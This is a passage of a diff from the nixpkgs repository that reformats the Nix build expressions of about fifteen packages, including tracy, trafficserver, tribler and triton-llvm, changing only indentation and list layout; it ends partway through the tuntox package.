@@ -101,24 +98,23 @@ stdenv.mkDerivation rec {
     ninja -C update/build
   '';
 
-  postInstall =
-    ''
-      install -D -m 0555 capture/build/tracy-capture -t $out/bin
-      install -D -m 0555 csvexport/build/tracy-csvexport $out/bin
-      install -D -m 0555 import/build/{tracy-import-chrome,tracy-import-fuchsia} -t $out/bin
-      install -D -m 0555 profiler/build/tracy-profiler $out/bin/tracy
-      install -D -m 0555 update/build/tracy-update -t $out/bin
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace extra/desktop/tracy.desktop \
-        --replace-fail Exec=/usr/bin/tracy Exec=tracy
+  postInstall = ''
+    install -D -m 0555 capture/build/tracy-capture -t $out/bin
+    install -D -m 0555 csvexport/build/tracy-csvexport $out/bin
+    install -D -m 0555 import/build/{tracy-import-chrome,tracy-import-fuchsia} -t $out/bin
+    install -D -m 0555 profiler/build/tracy-profiler $out/bin/tracy
+    install -D -m 0555 update/build/tracy-update -t $out/bin
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace extra/desktop/tracy.desktop \
+      --replace-fail Exec=/usr/bin/tracy Exec=tracy
 
-      install -D -m 0444 extra/desktop/application-tracy.xml $out/share/mime/packages/application-tracy.xml
-      install -D -m 0444 extra/desktop/tracy.desktop $out/share/applications/tracy.desktop
-      install -D -m 0444 icon/application-tracy.svg $out/share/icons/hicolor/scalable/apps/application-tracy.svg
-      install -D -m 0444 icon/icon.png $out/share/icons/hicolor/256x256/apps/tracy.png
-      install -D -m 0444 icon/icon.svg $out/share/icons/hicolor/scalable/apps/tracy.svg
-    '';
+    install -D -m 0444 extra/desktop/application-tracy.xml $out/share/mime/packages/application-tracy.xml
+    install -D -m 0444 extra/desktop/tracy.desktop $out/share/applications/tracy.desktop
+    install -D -m 0444 icon/application-tracy.svg $out/share/icons/hicolor/scalable/apps/application-tracy.svg
+    install -D -m 0444 icon/icon.png $out/share/icons/hicolor/256x256/apps/tracy.png
+    install -D -m 0444 icon/icon.svg $out/share/icons/hicolor/scalable/apps/tracy.svg
+  '';
 
   meta = with lib; {
     description = "Real time, nanosecond resolution, remote telemetry frame profiler for games and other applications";
diff --git a/pkgs/by-name/tr/trafficserver/package.nix b/pkgs/by-name/tr/trafficserver/package.nix
index baab96e51fef..460fb6bacad6 100644
--- a/pkgs/by-name/tr/trafficserver/package.nix
+++ b/pkgs/by-name/tr/trafficserver/package.nix
@@ -63,63 +63,60 @@ stdenv.mkDerivation rec {
   #
   # [1]: https://github.com/apache/trafficserver/pull/5617
   # [2]: https://github.com/apache/trafficserver/blob/3fd2c60/configure.ac#L742-L788
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      makeWrapper
-      pkg-config
-      file
-      python3
-    ]
-    ++ (with perlPackages; [
-      perl
-      ExtUtilsMakeMaker
-    ])
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ linuxHeaders ];
+  nativeBuildInputs = [
+    autoreconfHook
+    makeWrapper
+    pkg-config
+    file
+    python3
+  ]
+  ++ (with perlPackages; [
+    perl
+    ExtUtilsMakeMaker
+  ])
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ linuxHeaders ];
 
-  buildInputs =
-    [
-      openssl
-      pcre
-      perlPackages.perl
-    ]
-    ++ lib.optional withBrotli brotli
-    ++ lib.optional withCap libcap
-    ++ lib.optional withCjose cjose
-    ++ lib.optional withCurl curl
-    ++ lib.optional withGeoIP geoip
-    ++ lib.optional withHiredis hiredis
-    ++ lib.optional withHwloc hwloc
-    ++ lib.optional withImageMagick imagemagick
-    ++ lib.optional withJansson jansson
-    ++ lib.optional withKyotoCabinet kyotocabinet
-    ++ lib.optional withCurses ncurses
-    ++ lib.optional withLuaJIT luajit
-    ++ lib.optional withUnwind libunwind
-    ++ lib.optional withMaxmindDB libmaxminddb;
+  buildInputs = [
+    openssl
+    pcre
+    perlPackages.perl
+  ]
+  ++ lib.optional withBrotli brotli
+  ++ lib.optional withCap libcap
+  ++ lib.optional withCjose cjose
+  ++ lib.optional withCurl curl
+  ++ lib.optional withGeoIP geoip
+  ++ lib.optional withHiredis hiredis
+  ++ lib.optional withHwloc hwloc
+  ++ lib.optional withImageMagick imagemagick
+  ++ lib.optional withJansson jansson
+  ++ lib.optional withKyotoCabinet kyotocabinet
+  ++ lib.optional withCurses ncurses
+  ++ lib.optional withLuaJIT luajit
+  ++ lib.optional withUnwind libunwind
+  ++ lib.optional withMaxmindDB libmaxminddb;
 
   outputs = [
     "out"
     "man"
   ];
 
-  postPatch =
-    ''
-      patchShebangs \
-        iocore/aio/test_AIO.sample \
-        src/traffic_via/test_traffic_via \
-        src/traffic_logstats/tests \
-        tools/check-unused-dependencies
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace configure.ac \
-        --replace-fail '/usr/include/linux' '${linuxHeaders}/include/linux'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # 'xcrun leaks' probably requires non-free XCode
-      substituteInPlace iocore/net/test_certlookup.cc \
-        --replace-fail 'xcrun leaks' 'true'
-    '';
+  postPatch = ''
+    patchShebangs \
+      iocore/aio/test_AIO.sample \
+      src/traffic_via/test_traffic_via \
+      src/traffic_logstats/tests \
+      tools/check-unused-dependencies
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace configure.ac \
+      --replace-fail '/usr/include/linux' '${linuxHeaders}/include/linux'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # 'xcrun leaks' probably requires non-free XCode
+    substituteInPlace iocore/net/test_certlookup.cc \
+      --replace-fail 'xcrun leaks' 'true'
+  '';
 
   configureFlags = [
     "--enable-layout=NixOS"
diff --git a/pkgs/by-name/tr/transmission_3/package.nix b/pkgs/by-name/tr/transmission_3/package.nix
index 99f4928a8c1c..2201ac294241 100644
--- a/pkgs/by-name/tr/transmission_3/package.nix
+++ b/pkgs/by-name/tr/transmission_3/package.nix
@@ -69,38 +69,36 @@ stdenv.mkDerivation (finalAttrs: {
       "-DINSTALL_LIB=${mkFlag installLib}"
     ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-    ]
-    ++ lib.optionals enableGTK3 [ wrapGAppsHook3 ]
-    ++ lib.optionals enableQt [ qt5.wrapQtAppsHook ];
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+  ]
+  ++ lib.optionals enableGTK3 [ wrapGAppsHook3 ]
+  ++ lib.optionals enableQt [ qt5.wrapQtAppsHook ];
 
-  buildInputs =
-    [
-      openssl
-      curl
-      libevent
-      zlib
-      pcre
-      libb64
-      libutp
-      miniupnpc
-      dht
-      libnatpmp
-    ]
-    ++ lib.optionals enableQt [
-      qt5.qttools
-      qt5.qtbase
-    ]
-    ++ lib.optionals enableGTK3 [
-      gtk3
-      xorg.libpthreadstubs
-    ]
-    ++ lib.optionals enableSystemd [ systemd ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ inotify-tools ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
+  buildInputs = [
+    openssl
+    curl
+    libevent
+    zlib
+    pcre
+    libb64
+    libutp
+    miniupnpc
+    dht
+    libnatpmp
+  ]
+  ++ lib.optionals enableQt [
+    qt5.qttools
+    qt5.qtbase
+  ]
+  ++ lib.optionals enableGTK3 [
+    gtk3
+    xorg.libpthreadstubs
+  ]
+  ++ lib.optionals enableSystemd [ systemd ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ inotify-tools ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
   postInstall = ''
     mkdir $apparmor
diff --git a/pkgs/by-name/tr/trealla/package.nix b/pkgs/by-name/tr/trealla/package.nix
index 619f9aaa31a7..c6478518df14 100644
--- a/pkgs/by-name/tr/trealla/package.nix
+++ b/pkgs/by-name/tr/trealla/package.nix
@@ -50,12 +50,13 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  makeFlags =
-    [ "GIT_VERSION=\"v${finalAttrs.version}\"" ]
-    ++ lib.optionals (lineEditingLibrary == "isocline") [ "ISOCLINE=1" ]
-    ++ lib.optionals (!enableFFI) [ "NOFFI=1" ]
-    ++ lib.optionals (!enableSSL) [ "NOSSL=1" ]
-    ++ lib.optionals enableThreads [ "THREADS=1" ];
+  makeFlags = [
+    "GIT_VERSION=\"v${finalAttrs.version}\""
+  ]
+  ++ lib.optionals (lineEditingLibrary == "isocline") [ "ISOCLINE=1" ]
+  ++ lib.optionals (!enableFFI) [ "NOFFI=1" ]
+  ++ lib.optionals (!enableSSL) [ "NOSSL=1" ]
+  ++ lib.optionals enableThreads [ "THREADS=1" ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/tr/tribler/package.nix b/pkgs/by-name/tr/tribler/package.nix
index 1747d011fd8a..a503f1e4cb05 100644
--- a/pkgs/by-name/tr/tribler/package.nix
+++ b/pkgs/by-name/tr/tribler/package.nix
@@ -43,53 +43,54 @@ stdenv.mkDerivation (finalAttrs: {
 
   buildInputs = [ python3.pkgs.python ];
 
-  pythonPath =
-    [ libtorrent ]
-    ++ (with python3.pkgs; [
-      # requirements-core.txt
-      aiohttp
-      aiohttp-apispec
-      anyio
-      chardet
-      configobj
-      cryptography
-      decorator
-      faker
-      libnacl
-      lz4
-      marshmallow
-      netifaces
-      networkx
-      pony
-      psutil
-      pyasn1
-      pydantic_1
-      pyopenssl
-      pyyaml
-      sentry-sdk
-      service-identity
-      yappi
-      yarl
-      bitarray
-      filelock
-      (pyipv8.overrideAttrs (p: rec {
-        version = "2.10.0";
-        src = fetchPypi {
-          inherit (p) pname;
-          inherit version;
-          hash = "sha256-yxiXBxBiPokequm+vjsHIoG9kQnRnbsOx3mYOd8nmiU=";
-        };
-      }))
-      file-read-backwards
-      brotli
-      human-readable
-      # requirements.txt
-      pillow
-      pyqt5
-      pyqt5-sip
-      pyqtgraph
-      pyqtwebengine
-    ]);
+  pythonPath = [
+    libtorrent
+  ]
+  ++ (with python3.pkgs; [
+    # requirements-core.txt
+    aiohttp
+    aiohttp-apispec
+    anyio
+    chardet
+    configobj
+    cryptography
+    decorator
+    faker
+    libnacl
+    lz4
+    marshmallow
+    netifaces
+    networkx
+    pony
+    psutil
+    pyasn1
+    pydantic_1
+    pyopenssl
+    pyyaml
+    sentry-sdk
+    service-identity
+    yappi
+    yarl
+    bitarray
+    filelock
+    (pyipv8.overrideAttrs (p: rec {
+      version = "2.10.0";
+      src = fetchPypi {
+        inherit (p) pname;
+        inherit version;
+        hash = "sha256-yxiXBxBiPokequm+vjsHIoG9kQnRnbsOx3mYOd8nmiU=";
+      };
+    }))
+    file-read-backwards
+    brotli
+    human-readable
+    # requirements.txt
+    pillow
+    pyqt5
+    pyqt5-sip
+    pyqtgraph
+    pyqtwebengine
+  ]);
 
   installPhase = ''
     mkdir -pv $out
diff --git a/pkgs/by-name/tr/trickster/package.nix b/pkgs/by-name/tr/trickster/package.nix
index bcdfb989bee8..cc41ad0c49cb 100644
--- a/pkgs/by-name/tr/trickster/package.nix
+++ b/pkgs/by-name/tr/trickster/package.nix
@@ -22,18 +22,17 @@ buildGoModule rec {
 
   subPackages = [ "cmd/trickster" ];
 
-  ldflags =
-    [
-      "-extldflags '-static'"
-      "-s"
-      "-w"
-    ]
-    ++ (lib.mapAttrsToList (n: v: "-X main.application${n}=${v}") {
-      BuildTime = "1970-01-01T00:00:00+0000";
-      GitCommitID = rev;
-      GoVersion = "go${go.version}}";
-      GoArch = "${go.GOARCH}";
-    });
+  ldflags = [
+    "-extldflags '-static'"
+    "-s"
+    "-w"
+  ]
+  ++ (lib.mapAttrsToList (n: v: "-X main.application${n}=${v}") {
+    BuildTime = "1970-01-01T00:00:00+0000";
+    GitCommitID = rev;
+    GoVersion = "go${go.version}}";
+    GoArch = "${go.GOARCH}";
+  });
 
   # Tests are broken.
   doCheck = false;
diff --git a/pkgs/by-name/tr/trigger-control/package.nix b/pkgs/by-name/tr/trigger-control/package.nix
index 88e0c39351b1..cecb1bc6271d 100644
--- a/pkgs/by-name/tr/trigger-control/package.nix
+++ b/pkgs/by-name/tr/trigger-control/package.nix
@@ -34,16 +34,15 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      SDL2
-      libX11
-      dbus
-      libnotify
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libdecor
-    ];
+  buildInputs = [
+    SDL2
+    libX11
+    dbus
+    libnotify
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libdecor
+  ];
 
   patches = [
     # Fix build on clang https://github.com/Etaash-mathamsetty/trigger-control/pull/23
diff --git a/pkgs/by-name/tr/triton-llvm/package.nix b/pkgs/by-name/tr/triton-llvm/package.nix
index c57a075e432f..764bb459d054 100644
--- a/pkgs/by-name/tr/triton-llvm/package.nix
+++ b/pkgs/by-name/tr/triton-llvm/package.nix
@@ -45,7 +45,8 @@ let
   llvmTargetsToBuild' = [
     "AMDGPU"
     "NVPTX"
-  ] ++ builtins.map inferNativeTarget llvmTargetsToBuild;
+  ]
+  ++ builtins.map inferNativeTarget llvmTargetsToBuild;
 
   # This LLVM version can't seem to find pygments/pyyaml,
   # but a later update will likely fix this (triton-2.1.0)
@@ -67,16 +68,15 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "triton-llvm";
   version = "19.1.0-rc1"; # One of the tags at https://github.com/llvm/llvm-project/commit/10dc3a8e916d73291269e5e2b82dd22681489aa1
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals buildDocs [
-      "doc"
-    ]
-    ++ lib.optionals buildMan [
-      "man"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals buildDocs [
+    "doc"
+  ]
+  ++ lib.optionals buildMan [
+    "man"
+  ];
 
   # See https://github.com/triton-lang/triton/blob/main/python/setup.py
   # and https://github.com/ptillet/triton-llvm-releases/releases
@@ -96,20 +96,19 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      cmake
-      ninja
-      git
-      python
-    ]
-    ++ lib.optionals (buildDocs || buildMan) [
-      doxygen
-      sphinx
-      python3Packages.recommonmark
-      python3Packages.myst-parser
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    cmake
+    ninja
+    git
+    python
+  ]
+  ++ lib.optionals (buildDocs || buildMan) [
+    doxygen
+    sphinx
+    python3Packages.recommonmark
+    python3Packages.myst-parser
+  ];
 
   buildInputs = [
     libxml2
@@ -129,64 +128,63 @@ stdenv.mkDerivation (finalAttrs: {
     cd llvm
   '';
 
-  cmakeFlags =
-    [
-      (lib.cmakeFeature "LLVM_TARGETS_TO_BUILD" (lib.concatStringsSep ";" llvmTargetsToBuild'))
-      (lib.cmakeFeature "LLVM_ENABLE_PROJECTS" (lib.concatStringsSep ";" llvmProjectsToBuild))
-      (lib.cmakeFeature "LLVM_HOST_TRIPLE" stdenv.hostPlatform.config)
-      (lib.cmakeFeature "LLVM_DEFAULT_TARGET_TRIPLE" stdenv.hostPlatform.config)
-      (lib.cmakeBool "LLVM_INSTALL_UTILS" true)
-      (lib.cmakeBool "LLVM_INCLUDE_DOCS" (buildDocs || buildMan))
-      (lib.cmakeBool "MLIR_INCLUDE_DOCS" (buildDocs || buildMan))
-      (lib.cmakeBool "LLVM_BUILD_DOCS" (buildDocs || buildMan))
-      # Way too slow, only uses one core
-      # (lib.cmakeBool "LLVM_ENABLE_DOXYGEN" (buildDocs || buildMan))
-      (lib.cmakeBool "LLVM_ENABLE_SPHINX" (buildDocs || buildMan))
-      (lib.cmakeBool "SPHINX_OUTPUT_HTML" buildDocs)
-      (lib.cmakeBool "SPHINX_OUTPUT_MAN" buildMan)
-      (lib.cmakeBool "SPHINX_WARNINGS_AS_ERRORS" false)
-      (lib.cmakeBool "LLVM_INCLUDE_TESTS" buildTests)
-      (lib.cmakeBool "MLIR_INCLUDE_TESTS" buildTests)
-      (lib.cmakeBool "LLVM_BUILD_TESTS" buildTests)
-      # Cross compilation code taken/modified from LLVM 16 derivation
-    ]
-    ++ lib.optionals (!isNative) (
-      let
-        nativeToolchainFlags =
-          let
-            nativeCC = pkgsBuildBuild.targetPackages.stdenv.cc;
-            nativeBintools = nativeCC.bintools.bintools;
-          in
-          [
-            (lib.cmakeFeature "CMAKE_C_COMPILER" "${nativeCC}/bin/${nativeCC.targetPrefix}cc")
-            (lib.cmakeFeature "CMAKE_CXX_COMPILER" "${nativeCC}/bin/${nativeCC.targetPrefix}c++")
-            (lib.cmakeFeature "CMAKE_AR" "${nativeBintools}/bin/${nativeBintools.targetPrefix}ar")
-            (lib.cmakeFeature "CMAKE_STRIP" "${nativeBintools}/bin/${nativeBintools.targetPrefix}strip")
-            (lib.cmakeFeature "CMAKE_RANLIB" "${nativeBintools}/bin/${nativeBintools.targetPrefix}ranlib")
-          ];
-
-        # We need to repass the custom GNUInstallDirs values, otherwise CMake
-        # will choose them for us, leading to wrong results in llvm-config-native
-        nativeInstallFlags = [
-          (lib.cmakeFeature "CMAKE_INSTALL_PREFIX" (placeholder "out"))
-          (lib.cmakeFeature "CMAKE_INSTALL_BINDIR" "${placeholder "out"}/bin")
-          (lib.cmakeFeature "CMAKE_INSTALL_INCLUDEDIR" "${placeholder "out"}/include")
-          (lib.cmakeFeature "CMAKE_INSTALL_LIBDIR" "${placeholder "out"}/lib")
-          (lib.cmakeFeature "CMAKE_INSTALL_LIBEXECDIR" "${placeholder "out"}/libexec")
+  cmakeFlags = [
+    (lib.cmakeFeature "LLVM_TARGETS_TO_BUILD" (lib.concatStringsSep ";" llvmTargetsToBuild'))
+    (lib.cmakeFeature "LLVM_ENABLE_PROJECTS" (lib.concatStringsSep ";" llvmProjectsToBuild))
+    (lib.cmakeFeature "LLVM_HOST_TRIPLE" stdenv.hostPlatform.config)
+    (lib.cmakeFeature "LLVM_DEFAULT_TARGET_TRIPLE" stdenv.hostPlatform.config)
+    (lib.cmakeBool "LLVM_INSTALL_UTILS" true)
+    (lib.cmakeBool "LLVM_INCLUDE_DOCS" (buildDocs || buildMan))
+    (lib.cmakeBool "MLIR_INCLUDE_DOCS" (buildDocs || buildMan))
+    (lib.cmakeBool "LLVM_BUILD_DOCS" (buildDocs || buildMan))
+    # Way too slow, only uses one core
+    # (lib.cmakeBool "LLVM_ENABLE_DOXYGEN" (buildDocs || buildMan))
+    (lib.cmakeBool "LLVM_ENABLE_SPHINX" (buildDocs || buildMan))
+    (lib.cmakeBool "SPHINX_OUTPUT_HTML" buildDocs)
+    (lib.cmakeBool "SPHINX_OUTPUT_MAN" buildMan)
+    (lib.cmakeBool "SPHINX_WARNINGS_AS_ERRORS" false)
+    (lib.cmakeBool "LLVM_INCLUDE_TESTS" buildTests)
+    (lib.cmakeBool "MLIR_INCLUDE_TESTS" buildTests)
+    (lib.cmakeBool "LLVM_BUILD_TESTS" buildTests)
+    # Cross compilation code taken/modified from LLVM 16 derivation
+  ]
+  ++ lib.optionals (!isNative) (
+    let
+      nativeToolchainFlags =
+        let
+          nativeCC = pkgsBuildBuild.targetPackages.stdenv.cc;
+          nativeBintools = nativeCC.bintools.bintools;
+        in
+        [
+          (lib.cmakeFeature "CMAKE_C_COMPILER" "${nativeCC}/bin/${nativeCC.targetPrefix}cc")
+          (lib.cmakeFeature "CMAKE_CXX_COMPILER" "${nativeCC}/bin/${nativeCC.targetPrefix}c++")
+          (lib.cmakeFeature "CMAKE_AR" "${nativeBintools}/bin/${nativeBintools.targetPrefix}ar")
+          (lib.cmakeFeature "CMAKE_STRIP" "${nativeBintools}/bin/${nativeBintools.targetPrefix}strip")
+          (lib.cmakeFeature "CMAKE_RANLIB" "${nativeBintools}/bin/${nativeBintools.targetPrefix}ranlib")
         ];
-      in
-      [
-        (lib.cmakeBool "CMAKE_CROSSCOMPILING" true)
-        (lib.cmakeFeature "CROSS_TOOLCHAIN_FLAGS_NATIVE" (
-          lib.concatStringsSep ";" (
-            lib.concatLists [
-              nativeToolchainFlags
-              nativeInstallFlags
-            ]
-          )
-        ))
-      ]
-    );
+
+      # We need to repass the custom GNUInstallDirs values, otherwise CMake
+      # will choose them for us, leading to wrong results in llvm-config-native
+      nativeInstallFlags = [
+        (lib.cmakeFeature "CMAKE_INSTALL_PREFIX" (placeholder "out"))
+        (lib.cmakeFeature "CMAKE_INSTALL_BINDIR" "${placeholder "out"}/bin")
+        (lib.cmakeFeature "CMAKE_INSTALL_INCLUDEDIR" "${placeholder "out"}/include")
+        (lib.cmakeFeature "CMAKE_INSTALL_LIBDIR" "${placeholder "out"}/lib")
+        (lib.cmakeFeature "CMAKE_INSTALL_LIBEXECDIR" "${placeholder "out"}/libexec")
+      ];
+    in
+    [
+      (lib.cmakeBool "CMAKE_CROSSCOMPILING" true)
+      (lib.cmakeFeature "CROSS_TOOLCHAIN_FLAGS_NATIVE" (
+        lib.concatStringsSep ";" (
+          lib.concatLists [
+            nativeToolchainFlags
+            nativeInstallFlags
+          ]
+        )
+      ))
+    ]
+  );
 
   postPatch =
     # `CMake Error: cannot write to file "/build/source/llvm/build/lib/cmake/mlir/MLIRTargets.cmake": Permission denied`
@@ -212,13 +210,12 @@ stdenv.mkDerivation (finalAttrs: {
       rm llvm/test/tools/llvm-exegesis/AArch64/latency-by-opcode-name.s
     '';
 
-  postInstall =
-    ''
-      cp ${lib.getExe lit} $out/bin/llvm-lit
-    ''
-    + (lib.optionalString (!isNative) ''
-      cp -a NATIVE/bin/llvm-config $out/bin/llvm-config-native
-    '');
+  postInstall = ''
+    cp ${lib.getExe lit} $out/bin/llvm-lit
+  ''
+  + (lib.optionalString (!isNative) ''
+    cp -a NATIVE/bin/llvm-config $out/bin/llvm-config-native
+  '');
 
   doCheck = buildTests;
 
diff --git a/pkgs/by-name/tr/trlib/package.nix b/pkgs/by-name/tr/trlib/package.nix
index a3770293dd02..aec21ad636bf 100644
--- a/pkgs/by-name/tr/trlib/package.nix
+++ b/pkgs/by-name/tr/trlib/package.nix
@@ -31,12 +31,13 @@ stdenv.mkDerivation (finalAttrs: {
   ];
 
   nativeBuildInputs = [ cmake ];
-  buildInputs =
-    [ blas ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.cython
-      python3Packages.numpy
-    ];
+  buildInputs = [
+    blas
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.cython
+    python3Packages.numpy
+  ];
 
   cmakeFlags = [ (lib.cmakeBool "TRLIB_BUILD_PYTHON3" pythonSupport) ];
 
diff --git a/pkgs/by-name/tr/trunk-recorder/package.nix b/pkgs/by-name/tr/trunk-recorder/package.nix
index c79b8c590a5f..0ee5832d990b 100644
--- a/pkgs/by-name/tr/trunk-recorder/package.nix
+++ b/pkgs/by-name/tr/trunk-recorder/package.nix
@@ -40,20 +40,19 @@ stdenv.mkDerivation rec {
     pkg-config
     makeWrapper
   ];
-  buildInputs =
-    [
-      boost
-      curl
-      gmp
-      gnuradio
-      gnuradioPackages.osmosdr
-      openssl
-      spdlog
-      uhd
-      volk
-    ]
-    ++ lib.optionals hackrfSupport [ hackrf ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ mpir ];
+  buildInputs = [
+    boost
+    curl
+    gmp
+    gnuradio
+    gnuradioPackages.osmosdr
+    openssl
+    spdlog
+    uhd
+    volk
+  ]
+  ++ lib.optionals hackrfSupport [ hackrf ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ mpir ];
 
   postPatch = ''
     # fix broken symlink
diff --git a/pkgs/by-name/ts/tsid/package.nix b/pkgs/by-name/ts/tsid/package.nix
index 73746434696f..bdc1bae1acd9 100644
--- a/pkgs/by-name/ts/tsid/package.nix
+++ b/pkgs/by-name/ts/tsid/package.nix
@@ -36,25 +36,23 @@ stdenv.mkDerivation (finalAttrs: {
     "doc"
   ];
 
-  nativeBuildInputs =
-    [
-      doxygen
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.python
-      python3Packages.pythonImportsCheckHook
-    ];
+  nativeBuildInputs = [
+    doxygen
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.python
+    python3Packages.pythonImportsCheckHook
+  ];
 
-  propagatedBuildInputs =
-    [
-      eiquadprog
-      osqp-eigen
-      proxsuite
-    ]
-    ++ lib.optional (!pythonSupport) pinocchio
-    ++ lib.optional pythonSupport python3Packages.pinocchio;
+  propagatedBuildInputs = [
+    eiquadprog
+    osqp-eigen
+    proxsuite
+  ]
+  ++ lib.optional (!pythonSupport) pinocchio
+  ++ lib.optional pythonSupport python3Packages.pinocchio;
 
   doCheck = true;
   pythonImportsCheck = [ "tsid" ];
diff --git a/pkgs/by-name/ts/tsukimi/package.nix b/pkgs/by-name/ts/tsukimi/package.nix
index d55847f6bab5..5e0b84586d11 100644
--- a/pkgs/by-name/ts/tsukimi/package.nix
+++ b/pkgs/by-name/ts/tsukimi/package.nix
@@ -47,23 +47,22 @@ stdenv.mkDerivation rec {
     desktop-file-utils
   ];
 
-  buildInputs =
-    [
-      mpv-unwrapped
-      ffmpeg
-      libadwaita
-      openssl
-      libepoxy
-      dbus
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-      gst-plugins-ugly
-      gst-libav
-    ]);
+  buildInputs = [
+    mpv-unwrapped
+    ffmpeg
+    libadwaita
+    openssl
+    libepoxy
+    dbus
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+    gst-plugins-ugly
+    gst-libav
+  ]);
 
   nativeInstallCheckInputs = [ versionCheckHook ];
   versionCheckProgramArg = "--version";
diff --git a/pkgs/by-name/tu/tuba/package.nix b/pkgs/by-name/tu/tuba/package.nix
index 84604716659e..9a778d5de0b5 100644
--- a/pkgs/by-name/tu/tuba/package.nix
+++ b/pkgs/by-name/tu/tuba/package.nix
@@ -56,32 +56,31 @@ stdenv.mkDerivation rec {
     gobject-introspection
   ];
 
-  buildInputs =
-    [
-      glib
-      glib-networking
-      gtksourceview5
-      json-glib
-      libxml2
-      libgee
-      libsoup_3
-      gtk4
-      libadwaita
-      libsecret
-      libwebp
-      libspelling
-      icu
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-libav
-      gst-plugins-base
-      (gst-plugins-good.override { gtkSupport = true; })
-      gst-plugins-bad
-    ])
-    ++ lib.optionals clapperSupport [
-      clapper-unwrapped
-    ];
+  buildInputs = [
+    glib
+    glib-networking
+    gtksourceview5
+    json-glib
+    libxml2
+    libgee
+    libsoup_3
+    gtk4
+    libadwaita
+    libsecret
+    libwebp
+    libspelling
+    icu
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-libav
+    gst-plugins-base
+    (gst-plugins-good.override { gtkSupport = true; })
+    gst-plugins-bad
+  ])
+  ++ lib.optionals clapperSupport [
+    clapper-unwrapped
+  ];
 
   mesonFlags = [
     (lib.mesonBool "clapper" clapperSupport)
diff --git a/pkgs/by-name/tu/tuifimanager/package.nix b/pkgs/by-name/tu/tuifimanager/package.nix
index 797bafd0a162..bac360575323 100644
--- a/pkgs/by-name/tu/tuifimanager/package.nix
+++ b/pkgs/by-name/tu/tuifimanager/package.nix
@@ -44,19 +44,18 @@ lib.throwIf (enableDragAndDrop && !hasDndSupport)
         makeWrapper
       ]);
 
-    propagatedBuildInputs =
-      [
-        python3.pkgs.send2trash
-        python3.pkgs.unicurses
-      ]
-      ++ (lib.optionals enableDragAndDrop [
-        python3.pkgs.pynput
-        python3.pkgs.pyside6
-        python3.pkgs.requests
-        python3.pkgs.xlib
-        kdePackages.qtbase
-        kdePackages.qt6gtk2
-      ]);
+    propagatedBuildInputs = [
+      python3.pkgs.send2trash
+      python3.pkgs.unicurses
+    ]
+    ++ (lib.optionals enableDragAndDrop [
+      python3.pkgs.pynput
+      python3.pkgs.pyside6
+      python3.pkgs.requests
+      python3.pkgs.xlib
+      kdePackages.qtbase
+      kdePackages.qt6gtk2
+    ]);
 
     postFixup =
       let
diff --git a/pkgs/by-name/tu/tuntox/package.nix b/pkgs/by-name/tu/tuntox/package.nix
index 374e4a30b703..dc3c0fbc1a13 100644
--- a/pkgs/by-name/tu/tuntox/package.nix
+++ b/pkgs/by-name/tu/tuntox/package.nix
@@ -56,20 +56,19 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  postPatch =
-    ''
-      substituteInPlace gitversion.h --replace '7d45afdf7d00a95a8c3687175e2b1669fa1f7745' '365d2e5cbc0e3655fb64c204db0515f5f4cdf5a4'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace Makefile --replace ' -static ' ' '
-      substituteInPlace Makefile --replace 'CC=gcc' ' '
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace Makefile.mac --replace '.git/HEAD .git/index' ' '
-      substituteInPlace Makefile.mac --replace '/usr/local/lib/libtoxcore.a' '${libtoxcore}/lib/libtoxcore.a'
-      substituteInPlace Makefile.mac --replace '/usr/local/lib/libsodium.a' '${libsodium}/lib/libsodium.dylib'
-      substituteInPlace Makefile.mac --replace 'CC=gcc' ' '
-    '';
+  postPatch = ''
+    substituteInPlace gitversion.h --replace '7d45afdf7d00a95a8c3687175e2b1669fa1f7745' '365d2e5cbc0e3655fb64c204db0515f5f4cdf5a4'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace Makefile --replace ' -static ' ' '
+    substituteInPlace Makefile --replace 'CC=gcc' ' '
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
